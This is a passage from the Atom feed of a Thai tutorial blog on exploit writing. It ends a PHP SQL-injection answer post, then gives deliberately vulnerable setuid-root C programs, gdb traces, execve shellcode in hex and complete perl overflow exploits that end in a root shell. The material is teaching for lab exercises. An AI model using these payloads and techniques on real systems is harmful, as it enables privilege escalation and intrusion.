"http://127.0.0.1/thtutz/login_sqli4.php?password=1319"&lt;br /&gt;Congrats, WIN!!!&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; ทีม Nibbles หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 1839431 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)&lt;/p&gt;&lt;br/&gt;&lt;h4&gt;สรุป&lt;/h4&gt;&lt;p&gt;สิ่งที่ผมอยากจะให้เห็นการทำ sql injection จากโจทย์พวกนี้ โดยเฉพาะข้อ 3 กับ 4 คือ&lt;br/&gt;- sql injection มันมีได้หลายรูปแบบ ในหลายๆครั้ง ต้องมีการดัดแปลง ดังนั้นสิ่งสำคัญคือต้องรู้ SQL แล้วนำไปประยุกต์ใช้เป็น&lt;br/&gt;- ถ้า code มีปัญหาเรื่อง sql injection ส่วนมากก็จะทำ sql injection ได้ อย่างเช่นในข้อ 3 ถึงแม้จะมีการดักไว้ว่า username ที่ดึงมาจาก database ต้องตรงกับที่ใส่มา เราก็ใช้วิธี blind sql injection เพื่อดึงข้อมูลออกมาแทนได้&lt;br/&gt;- อันนี้สำหรับ programmer คือถ้าเรามีการแปลง (transform) ข้อมูลก่อนที่จะนำเข้า database เช่นในข้อ 4 ให้ถือว่าเป็นข้อมูลที่ยังไม่ได้ตรวจสอบ (untrusted input) อาจจะมีอันตรายได้&lt;br/&gt;- input ที่ใส่ไม่จำเป็นต้องเป็นตัวอักษรที่อ่านออกได้ ดังเวลาที่เขียน code หรือจะทำ sql injection ก็ควรที่จะคิดถึงข้อมูลประเภทนี้ด้วย&lt;br/&gt;- โปรแกรมอาจจะใช้ double quote ใน SQL query เช่นในโจทย์ข้อ 4 ดังนั้นเวลาทำ sql injection ควรลองทดสอบทั้ง single quote และ double quote&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-8151656163893493304?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/8151656163893493304/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/01/php-login-sql-injection_18.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8151656163893493304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8151656163893493304'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/01/php-login-sql-injection_18.html' title='PHP Login กับ SQL Injection (เฉลย)'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-3279906721025142775</id><published>2011-01-09T20:38:00.000+07:00</published><updated>2011-01-09T20:38:50.603+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Buffer Overflow ให้โปรแกรม spawn shell (โจทย์)</title><content type='html'>&lt;p&gt;หลังจากทำไป 2 แบบฝึกหัด ผมยังมีโจทย์ให้อีก 2 โจทย์ โดยไม่มีเฉลยนะครับ (ยังไงผมก็ไม่เฉลยนะ) ถ้าทำไม่ได้ แสดงว่ายังไม่เข้าใจเรื่องนี้จริงๆ&lt;/p&gt;&lt;p&gt;&lt;b&gt;ข้อ1&lt;/b&gt; (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_06_5.c?attredirects=0&amp;d=1"&gt;ex_06_5.c&lt;/a&gt;) ข้อนี้น่าจะทำได้ คล้ายๆกับแบบฝึกหัดเลย แต่อยากให้ลองใช้ gdb ดูตำแหน่งของตัวแปรต่างๆ ใน stack ด้วย&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/*&lt;br /&gt;gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_5 ex_06_5.c&lt;br /&gt;sudo su -c "chown root: ex_06_5;chmod 4755 ex_06_5"&lt;br /&gt;*/&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define MAX_CPY 530&lt;br /&gt;&lt;br /&gt;void vuln(char *d, char *s)&lt;br /&gt;{&lt;br /&gt;  unsigned long n = MAX_CPY;&lt;br /&gt;  strncpy(d, s, n);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  int i = 0;&lt;br /&gt;  char c = 1;&lt;br /&gt;  short s = -1;&lt;br /&gt;  char buf[1];&lt;br /&gt;  &lt;br /&gt;  vuln(buf, argv[1]);&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;&lt;b&gt;ข้อ2&lt;/b&gt; (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_06_6.c?attredirects=0&amp;d=1"&gt;ex_06_6.c&lt;/a&gt;) ข้อนี้ต้องใช้ความรู้ Linux นิดหน่อย ถ้าใครเคยทำตามที่ผมให้ลอง คงไม่มีอะไรยาก&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/*&lt;br /&gt;gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_6 ex_06_6.c&lt;br /&gt;sudo su -c "chown root: ex_06_6;chmod 4755 ex_06_6"&lt;br /&gt;*/&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define MAX_CPY 24&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  char buf[1];&lt;br /&gt;&lt;br /&gt;  strncpy(buf, argv[1], MAX_CPY);&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;สำหรับข้อ2 ผมมี Hint ให้ สำหรับคนที่ลองทำแล้วทำไม่ได้จริงๆ เพียงแค่ drag mouse คลุมบรรทัดข้างล่าง&lt;br/&gt;&lt;font color="#000000"&gt;&lt;b&gt;Hint:&lt;/b&gt; ใช้ env หรือ argv ช่วย&lt;/font&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-3279906721025142775?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/3279906721025142775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell_09.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/3279906721025142775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/3279906721025142775'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell_09.html' title='Buffer Overflow ให้โปรแกรม spawn shell (โจทย์)'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-8218960110084079226</id><published>2011-01-08T23:14:00.000+07:00</published><updated>2011-01-08T23:14:22.654+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)</title><content type='html'>&lt;p&gt;มาทำกันอีกซักแบบฝึกหัด ครั้งนี้ผมใช้ sscanf ในการรับค่าจาก argv[1] ลองทำก่อนอ่านเฉลยนะครับ&lt;/p&gt;&lt;p&gt;&lt;b&gt;แบบฝึกหัด2&lt;/b&gt; (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_06_4.c?attredirects=0&amp;d=1"&gt;ex_06_4.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/*&lt;br /&gt;gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_4 ex_06_4.c&lt;br /&gt;sudo su -c "chown root: ex_06_4;chmod 4755 ex_06_4"&lt;br /&gt;*/&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  char buf[7];&lt;br /&gt;&lt;br /&gt;  sscanf(buf, "%s", argv[1]);&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ในแบบฝึกหัดนี้ ให้ใช้ shellcode สำหรับ execve อันนี้นะครับ&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;# execve("/bin/sh", { "/bin/sh", NULL }, NULL) 26 bytes&lt;br /&gt;"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"&lt;br /&gt;&lt;/pre&gt;&lt;h4&gt;เฉลย&lt;/h4&gt;&lt;p&gt;จาก code น่าจะเห็นกันแล้วว่า buf มีขนาดแค่ 7 bytes เล็กอย่างนี้แล้วเราจะใส่ shellcode เข้าไปได้ไง???&lt;/p&gt;&lt;p&gt;สังเกตในแบบฝึกหัดที่1 มั้ยครับว่า ผมเขียนข้อมูลเกิน saved eip ไปด้วย สิ่งที่ผมอยากให้เห็นในแบบฝึกหัดนี้คือ นอกจากเราจะเขียน shellcode ใน buf เรายังสามารถเขียนไว้หลัง saved eip ด้วย ดังนั้นแทนที่เราจะหา address ของ buf ที่เป็นจุดเริ่มของ shellcode แล้ว เราก็ต้องหา address ถัดจาก address ที่เก็บ saved eip&lt;/p&gt;&lt;p&gt;ก่อนอื่น เรามา gdb หา address ของ saved eip กัน :)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_06_4&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch06/ex_06_4...(no debugging symbols found)...done.&lt;br /&gt;(gdb) disas main&lt;br /&gt;... # ขอละ&lt;br /&gt;   0x080483fa &lt;+22&gt;:    lea    0x19(%esp),%ecx  # buf อยู่ที่ address esp+0x19&lt;br /&gt;   0x080483fe &lt;+26&gt;:    mov    %ecx,0x8(%esp)&lt;br /&gt;   0x08048402 &lt;+30&gt;:    mov    %edx,0x4(%esp)&lt;br /&gt;   0x08048406 &lt;+34&gt;:    mov    %eax,(%esp)&lt;br /&gt;   0x08048409 &lt;+37&gt;:    call   0x8048310 &lt;__isoc99_sscanf@plt&gt;&lt;br /&gt;... # ขอละ&lt;br /&gt;(gdb) b *0x080483fa&lt;br /&gt;Breakpoint 1 at 0x80483fa&lt;br /&gt;(gdb) r `perl -e 'print "U"x200'`&lt;br /&gt;Starting program: /home/worawit/tutz/ch06/ex_06_4 `perl -e 'print "U"x200'`&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x080483fa in main ()&lt;br /&gt;(gdb) i f&lt;br /&gt;Stack level 0, frame at 0xbffff650:&lt;br /&gt; eip = 0x80483fa in main; saved eip 0x154bd6&lt;br /&gt; Arglist at 0xbffff648, args:&lt;br /&gt; Locals at 0xbffff648, Previous frame s sp is 0xbffff650&lt;br /&gt; Saved registers:&lt;br /&gt;  ebp at 0xbffff648, eip at 0xbffff64c  # &lt;== ดู address ของ saved eip ตรงนี้&lt;br /&gt;(gdb) q&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้ address เริ่มของ shellcode เราแล้วคือ 0xbffff64c+4=0xbffff650 แต่สังเกตกันหรือเปล่าว่า buf อยู่ที่ address esp+0x19 จากที่ผมให้ลองก่อนจบในแบบฝึกหัดที่1 เพื่อให้เห็นเราต้องเขียนทับตัว saved eip ให้ตรงพอดี ดังนั้นเราจะต้องใส่ขยะลงไป 3 bytes เพื่อเลื่อนให้ address ที่เราจะเขียนทับ saved eip ตรงพอดี ตามรูป (ถ้าไม่เข้าใจ ลองใช้ gdb ช่วยดูค่าใน memory นะครับ)&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_4X9aA2jxLhc/TSiMfeRLCiI/AAAAAAAAADo/8t9JUj4YvGs/s1600/liexp_06_4.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="400" width="283" src="http://3.bp.blogspot.com/_4X9aA2jxLhc/TSiMfeRLCiI/AAAAAAAAADo/8t9JUj4YvGs/s400/liexp_06_4.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;ดังนั้น exploit ของเราจะเป็น&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_06_4 `perl -e 'print "UUU" . "\x50\xf6\xff\xbf"x10 . "\x90"x200 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"'`&lt;br /&gt;# id&lt;br /&gt;uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)&lt;br /&gt;# exit&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;มีใครสงสัยมั้ยครับ ว่าทำไมผมเปลี่ยน execve shellcode และถ้าใครลอง shellcode เดิมดูจะเจอกับ Segmentation fault ไม่ว่าจะทำยังไงก็ตาม&lt;/p&gt;&lt;p&gt;เหตุผลก็คือ เพราะ sscanf() ครับ ลองอ่าน man ดู (คำสั่ง "&lt;span class="code"&gt;man sscanf&lt;/span&gt;") จะเห็นว่า sscanf() จะอ่านข้อมูลจนถึง white-space characters หรือจบ string (NULL) และไปดูต่อที่ man ของ isspace() จะได้ว่า white-space characters คือตัวอักษร 0x09-0x0d เมื่อเราไปดู shellcode เก่าของเรา จะเห็นว่ามี 0x0b อยู่ ตัวนี้แหละครับที่ทำให้ไม่ได้&lt;/p&gt;&lt;p&gt;ในการเขียน exploit เกือบจะทุกครั้งที่ต้องมีการหาตัวษรที่ใช้ไม่ได้ (เรียกว่า bad chars) เนื่องจากถ้าใส่ไปจะทำให้โปรแกรมรับข้อมูลเราไม่หมด หรือตัวอักษรโดนเปลี่ยนเป็นตัวอื่น ซึ่งผมจะมีการพูดถึงเรื่อง bad chars อีกครั้งในหัวข้อการเขียน Linux x86 Shellcode&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-8218960110084079226?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/8218960110084079226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8218960110084079226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8218960110084079226'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell-2.html' title='Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_4X9aA2jxLhc/TSiMfeRLCiI/AAAAAAAAADo/8t9JUj4YvGs/s72-c/liexp_06_4.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-7446284044639646465</id><published>2011-01-08T15:00:00.138+07:00</published><updated>2011-01-08T21:24:20.494+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 1)</title><content type='html'>&lt;p&gt;หลังจากอ่านและลองทำตามมาแล้ว คราวนี้มาลองทำแบบฝึกหัดบ้าง ผมเขียนว่าแบบฝึกหัดแสดงว่า ถ้าใครอ่านมาตั้งแต่ต้นและเข้าใจ ก็น่าจะที่จะทำเองได้โดยไม่ต้องดูเฉลย (แต่ต้องคิดนิดหน่อย เพราะผมดัดแปลงแบบฝึกหัดนิดหน่อยให้ไม่เหมือนเดิม) มาดูแบบฝึกหัดข้อแรกกันเลยดีกว่า&lt;/p&gt;&lt;p&gt;&lt;b&gt;แบบฝึกหัด1&lt;/b&gt; (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_06_3.c?attredirects=0&amp;d=1"&gt;ex_06_3.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/*&lt;br /&gt;gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_3 ex_06_3.c&lt;br /&gt;sudo su -c "chown root: ex_06_3;chmod 4755 ex_06_3"&lt;br /&gt;*/&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  char buf[256];&lt;br /&gt;&lt;br /&gt;  sprintf(buf, "%s", argv[1]);&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ในแบบฝึกหัดนี้ ผมได้เปลี่ยน function จาก strcpy เป็น sprintf และผมได้เอา gcc option ออกไปตัวหนึ่งคือ -mpreferred-stack-boundary&lt;/p&gt;&lt;p&gt;option ที่ผมเอาออก คือกำหนดว่า stack alignment ว่าเป็นเท่าไร (ถ้าใครไม่เคยได้ยิน alignment อธิบายสั้นๆ ก็ byte alignment คืออยู่ที่ address ที่หารด้วย 1 ลงตัว word alignment คือที่หารด้วย 2 ลงตัว และ dword alignet คือหารด้วย 4 ลงตัว) โดยในตัวอย่างในหัวข้อก่อนหน้าผมได้ระบุว่าว่าเป็น 2&lt;sup&gt;2&lt;/sup&gt;=4 bytes แต่ครั้งนี้ให้เป็น default คือ 2&lt;sup&gt;4&lt;/sup&gt;=16 bytes ลอง disassemble ดูนะครับ จะเห็นความแตกต่าง&lt;/p&gt;&lt;h4&gt;เฉลย&lt;/h4&gt;&lt;p&gt;ก่อนจะเขียน exploit เรามาดูความแตกต่างจากการเอา option -mpreferred-stack-boundary ออกกันก่อนด้วย gdb&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_06_3&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done.&lt;br /&gt;(gdb) disas main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;   0x080483c4 &amp;lt;+0&amp;gt;:     push   %ebp&lt;br /&gt;   0x080483c5 &amp;lt;+1&amp;gt;:     mov    %esp,%ebp&lt;br /&gt;   0x080483c7 &amp;lt;+3&amp;gt;:     and    $0xfffffff0,%esp  # เพิ่มขึ้นมาใน function prologue เพื่อทำ stack alignment&lt;br /&gt;   0x080483ca &amp;lt;+6&amp;gt;:     sub    $0x110,%esp    # จากเดิมที่ลบ 8 bytes สำหรับส่ง argument กลายเป็น 16 bytes&lt;br /&gt;   0x080483d0 &amp;lt;+12&amp;gt;:    mov    0xc(%ebp),%eax&lt;br /&gt;   0x080483d3 &amp;lt;+15&amp;gt;:    add    $0x4,%eax&lt;br /&gt;   0x080483d6 &amp;lt;+18&amp;gt;:    mov    (%eax),%eax&lt;br /&gt;   0x080483d8 &amp;lt;+20&amp;gt;:    mov    %eax,0x4(%esp)&lt;br /&gt;   0x080483dc &amp;lt;+24&amp;gt;:    lea    0x10(%esp),%eax  # เก็บ address ของ buf ไว้ที่ eax สังเกตว่าใช้ esp ไม่ได้ใช้ ebp&lt;br /&gt;   0x080483e0 &amp;lt;+28&amp;gt;:    mov    %eax,(%esp)&lt;br /&gt;   0x080483e3 &amp;lt;+31&amp;gt;:    call   0x80482fc &amp;lt;strcpy@plt&amp;gt;&lt;br /&gt;   0x080483e8 &amp;lt;+36&amp;gt;:    mov    $0x0,%eax&lt;br /&gt;   0x080483ed &amp;lt;+41&amp;gt;:    leave&lt;br /&gt;   0x080483ee &amp;lt;+42&amp;gt;:    ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) q&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า "&lt;span class="code"&gt;and $0xfffffff0,%esp&lt;/span&gt;" เพื่อทำให้ address ของ esp หารด้วย 16 ลงตัว แล้วก็ทำ "&lt;span class="code"&gt;sub $0x110,%esp&lt;/span&gt;" เพื่อจอง memory สำหรับ local variables และ argument ที่จะส่ง แต่จะมีการปัดค่าขึ้นให้หารด้วย 16 ลงตัว&lt;/p&gt;&lt;p&gt;การ and ค่า esp เพื่อทำ stack alignment ทำให้โปรแกรมไม่สามารถใช้ ebp เพื่ออ้างถึง local variables ได้ และที่มีผลกระทบต่อการเขียน exploit คือเราไม่รู้ว่า &lt;b&gt;ระยะห่างจาก buf ไปถึง saved eip&lt;/b&gt; เป็นเท่าไร เพราะมันสามารถเปลี่ยนแปลงได้&lt;/p&gt;&lt;p&gt;วิธีง่ายๆ ในการแก้ปัญหานี้ก็คือ เราจะใส่ address ที่จะเขียบทับ saved eip ต่อท้าย shellcode เยอะๆ ขอแค่ address ซักอันเขียนทับ saved eip ก็พอ ตามรูป&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_4X9aA2jxLhc/TShwv4wlcKI/AAAAAAAAADg/dLWwZgUKUxw/s1600/liexp_06_3.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="400" width="347" src="http://3.bp.blogspot.com/_4X9aA2jxLhc/TShwv4wlcKI/AAAAAAAAADg/dLWwZgUKUxw/s400/liexp_06_3.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;เมื่อได้ concept แล้ว ก็ถึงเวลาทำจริง เริ่มจากการหา address ของ buf&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ex_06_3&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done.&lt;br /&gt;(gdb) b *0x080483e3&lt;br /&gt;Breakpoint 1 at 0x80483e3&lt;br /&gt;(gdb) r `perl -e 'print "U"x200'`&lt;br /&gt;Starting program: /home/worawit/tutz/ch06/ex_06_3 `perl -e 'print "U"x200'`&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x080483e3 in main ()&lt;br /&gt;(gdb) x/x $esp+0x10&lt;br /&gt;0xbffff540:     0x0000002c&lt;br /&gt;(gdb) q&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้ address ของ buf คือ 0xbffff540 ก็ถึงเวลา exploit โดยผมจะใส่ address ของ buf ไปทั้งหมด 10 ครั้ง คือเขียนเกิน saved eip ไปเลย เพื่อให้แน่ใจว่าโดนเขียนทับแน่ๆ แต่ที่สำคัญที่สุดคือ address ของ buf ต้องเขียนทับตรง block ของ saved eip&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;# nop (206 bytes) + setreuid (10 bytes) + execve (24 bytes)&lt;br /&gt;$ ./ex_06_3 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x40\xf5\xff\xbf"x10'`&lt;br /&gt;# id&lt;br /&gt;uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)&lt;br /&gt;# exit&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้แล้ว ง่ายมั้ยครับ แต่ผมอยากให้ลองเพิ่มเองอีกหน่อยคือ แก้จำนวนของ nop ให้เป็น 207,208,209 ดู มันจะเกิด segmentation fault แล้วถ้าไม่เข้าใจว่าทำไม ก็ให้ลองทำใน gdb นะครับ&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-7446284044639646465?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/7446284044639646465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7446284044639646465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7446284044639646465'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell-1.html' title='Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 1)'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_4X9aA2jxLhc/TShwv4wlcKI/AAAAAAAAADg/dLWwZgUKUxw/s72-c/liexp_06_3.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-8797148179863530923</id><published>2011-01-03T21:02:00.001+07:00</published><updated>2011-10-16T21:37:55.670+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Buffer Overflow ให้โปรแกรม spawn shell</title><content type='html'>&lt;p&gt;จากตัวอย่างในหัวข้อ "&lt;a href="http://thtutz.blogspot.com/2011/01/gdb.html"&gt;GDB เบื้องต้น&lt;/a&gt;" จะเห็นว่าถ้าเราใส่ input เข้าไปยาวๆ จะมีการเขียนทับ saved eip ด้วย หลังจากคำสั่ง strcpy ตามรูปข้างล่าง (เลขทั้งหมดเป็นฐาน 16 นะครับ) ทำให้หลังจากจบ function main แล้ว EIP ของโปรแกรมชี้ไปที่ 0x55555555 แสดงให้เห็นว่าเราสามารถสั่งให้โปรแกรมไปทำงานที่ไหนก็ได้ และก่อนจะเริ่มผมขอย้ำอีกครั้งว่าให้ทำตาม อย่าเอาแต่อ่าน เรื่องพวกนี้จะให้เก่งต้องทำนะครับ&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TSHO1g9jcjI/AAAAAAAAADQ/lMDnkSHitns/s1600/liexp_06_1.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="216" width="400" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TSHO1g9jcjI/AAAAAAAAADQ/lMDnkSHitns/s400/liexp_06_1.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; ค่า address ที่ผมแสดง เป็น address ที่อยู่ในเครื่องของผม ซึ่งอาจจะไม่ตรงกับเครื่องอื่นๆ ดังนั้น ถ้าเห็นว่าไม่ตรง ก็ต้องแก้ไขการใส่ค่า address ต่างๆ ด้วย&lt;/p&gt;&lt;p&gt;เรามาดูตัวอย่างแรกกัน (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_06_1.c?attredirects=0&amp;d=1"&gt;ex_06_1.c&lt;/a&gt;) วิธี compile อยู่ที่หัวของไฟล์ (ตั้งแต่นี้ไป ดูวิธี compile เอาเองที่หัวของไฟล์นะครับ)&lt;pre class="code language-c"&gt;&lt;br /&gt;/*&lt;br /&gt;gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_06_1 ex_06_1.c&lt;br /&gt;*/&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int hidden_fn()&lt;br /&gt;{&lt;br /&gt;  printf("You WIN\n");&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  char buf[8];&lt;br /&gt;&lt;br /&gt;  printf("Address of 